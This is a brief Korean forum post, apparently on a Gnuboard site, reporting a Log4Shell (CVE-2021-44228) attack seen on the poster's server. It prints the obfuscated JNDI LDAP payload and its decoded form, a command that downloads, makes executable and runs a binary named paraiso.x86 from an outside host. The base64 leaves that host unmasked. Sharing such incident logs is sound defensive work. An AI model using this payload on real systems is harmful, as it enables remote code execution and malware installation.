[그누보드] Log4Shell 취약점 공격 들어옴

Log4Shell 취약점(CVE-2021-44228) 공격 

 

 

 

 

공격 인코딩 내용

t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//141.#.#.97:6583/TomcatBypass/Command/Base64/cm0gLXJmIC90bXAvcGFyYWlzby54ODYgOyB3Z2V0IC1PIC90bXAvcGFyYWlzby54ODYgaHR0cDovLzE0MS4xNDcuNzQuMTUvc3lzdGVtMzIvcGFyYWlzby54ODYgOyBjdXJsIC1vIC90bXAvcGFyYWlzby54ODYgaHR0cDovLzE0MS4xNDcuNzQuMTUvc3lzdGVtMzIvcGFyYWlzby54ODYgOyBjaG1vZCAreCAvdG1wL3BhcmFpc28ueDg2IDsgY2htb2QgNzc3IC90bXAvcGFyYWlzby54ODYgOyAvdG1wL3BhcmFpc28ueDg2IFN5c3RlbTMy}')
/

 

 

디코딩 결과 내용

t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//141.#.#.97:6583/TomcatBypass/Command/Base64/
rm -rf /tmp/paraiso.x86 ; wget -O /tmp/paraiso.x86 http://141.#.#.15/system32/paraiso.x86 ; curl -o /tmp/paraiso.x86 http://141.#.#.15/system32/paraiso.x86 ; chmod +x /tmp/paraiso.x86 ; chmod 777 /tmp/paraiso.x86 ; /tmp/paraiso.x86 System32}')/

 

 

참조 사이트
https://twitter.com/sicehice/status/1663954926228103168
https://blog.naver.com/sk_shieldus/222630019654